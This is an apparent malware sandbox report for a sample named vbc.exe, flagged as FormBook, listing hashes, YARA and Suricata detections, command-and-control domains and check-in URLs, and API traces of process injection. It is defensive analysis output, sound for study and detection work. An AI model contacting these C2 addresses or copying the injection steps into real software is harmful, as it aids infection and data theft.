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vbc.exe

Malicious Library UPX PE32 PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us April 5, 2023, 8:41 a.m. April 5, 2023, 8:46 a.m.
Size 289.9KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 07267fb4371d348b4acecd5ebfab5d48
SHA256 441b9e71d315dbc21471e1c3cf9824c4303ba40effa313c89345f399cf28cda2
CRC32 AB8F7374
ssdeep 6144:PYa6E1fCKW2rYT4SL+03K09Yeus7s6Zijbz2ZOIKQJmCHRq8PCXpe:PYKUKW2rYT4SLRaF6Z5ZONWxqO
Yara
  • UPX_Zero - UPX packed file
  • Malicious_Library_Zero - Malicious_Library
  • IsPE32 - (no description)
  • PE_Header_Zero - PE File Signature

Name Response Post-Analysis Lookup
www.xuanliuchushaqi.com
A 23.27.72.237
23.27.72.237
www.heguangxueyuan.com
A 116.62.236.73
116.62.236.73
www.tulipbaddie.com
CNAME tulipbaddie.myshopify.com
CNAME shops.myshopify.com
A 23.227.38.74
23.227.38.74
www.cloud-spartan.co.uk
A 35.227.197.36
35.227.197.36
www.youthexsa.africa
IP Address Status Action
116.62.236.73 Active Moloch
164.124.101.2 Active Moloch
23.227.38.74 Active Moloch
23.27.72.237 Active Moloch
35.227.197.36 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49168 -> 35.227.197.36:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 35.227.197.36:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 35.227.197.36:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 23.227.38.74:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 23.227.38.74:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 23.227.38.74:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 23.27.72.237:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 23.27.72.237:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 23.27.72.237:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.cloud-spartan.co.uk/sa79/?4hLpNJ=jkxHAd9GAbQei4M5qdOAezShFl0g6rfkBT3I54TzQtwvhmYtcfZekS4RyxImys3XUoylJySQ&nfutZl=xPJ4abP8
suspicious_features GET method with no useragent header suspicious_request GET http://www.xuanliuchushaqi.com/sa79/?4hLpNJ=hJPMgNc3YBeDgy1LAyMKDmqQClBR6GCiPVe6h48AlyqECVJTXctJUujDBwCm/5McqNpOK+X6&nfutZl=xPJ4abP8
suspicious_features GET method with no useragent header suspicious_request GET http://www.tulipbaddie.com/sa79/?4hLpNJ=Pi7Ey0iMJyKZwqp6iXhMyyYPxOpav9bJQmREjn+3V5ZaE+2+83fVcjQjlyYtQNMfHCjMn2RE&nfutZl=xPJ4abP8
request GET http://www.cloud-spartan.co.uk/sa79/?4hLpNJ=jkxHAd9GAbQei4M5qdOAezShFl0g6rfkBT3I54TzQtwvhmYtcfZekS4RyxImys3XUoylJySQ&nfutZl=xPJ4abP8
request GET http://www.xuanliuchushaqi.com/sa79/?4hLpNJ=hJPMgNc3YBeDgy1LAyMKDmqQClBR6GCiPVe6h48AlyqECVJTXctJUujDBwCm/5McqNpOK+X6&nfutZl=xPJ4abP8
request GET http://www.tulipbaddie.com/sa79/?4hLpNJ=Pi7Ey0iMJyKZwqp6iXhMyyYPxOpav9bJQmREjn+3V5ZaE+2+83fVcjQjlyYtQNMfHCjMn2RE&nfutZl=xPJ4abP8
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2120
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00430000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2120
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00440000
allocation_type: 12289 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2172
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a00000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\ifnznkgo.exe
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 2120 called NtSetContextThread to modify thread in remote process 2172
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 2029732
registers.edi: 0
registers.eax: 4321616
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000000c8
process_identifier: 2172
1 0 0
dead_host 116.62.236.73:80
Elastic malicious (high confidence)
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GData Gen:Variant.Fragtor.246784
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